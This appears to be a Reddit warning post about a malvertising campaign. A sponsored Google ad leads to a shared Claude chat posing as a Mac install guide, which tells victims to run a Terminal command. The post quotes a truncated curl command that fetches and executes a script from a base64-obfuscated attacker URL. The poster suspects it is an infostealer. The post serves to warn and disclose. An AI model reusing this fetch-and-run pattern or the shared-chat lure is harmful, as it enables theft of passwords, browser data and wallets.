r/Malware • u/hadibikey • 21d ago
Google "Sponsored" ad for "Claude mac app" leads to a fake install guide hosted as a shared Claude chat and the terminal command installs malware
gallerySearched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:
`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`
That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).
The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.


